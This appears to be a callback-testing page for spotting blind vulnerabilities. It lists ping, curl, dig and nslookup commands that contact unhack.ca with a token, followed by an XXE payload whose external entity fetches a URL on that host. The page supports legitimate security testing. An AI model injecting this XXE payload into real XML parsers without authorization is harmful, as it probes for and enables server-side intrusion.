$ ping -c1 -p 00cefff3bb8a3f4774954b15bb186500 unhack.ca
 
$ curl http://unhack.ca/p/cefff3bb8a3f4774954b15bb1865
 
$ dig cefff3bb8a3f4774954b15bb1865 @unhack.ca
 
$ dig cefff3bb8a3f4774954b15bb1865.ns.unhack.ca
 
C:\> nslookup cefff3bb8a3f4774954b15bb1865 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/cefff3bb8a3f4774954b15bb1865">]>
    <foo>&xxe;</foo>
Waiting for ping...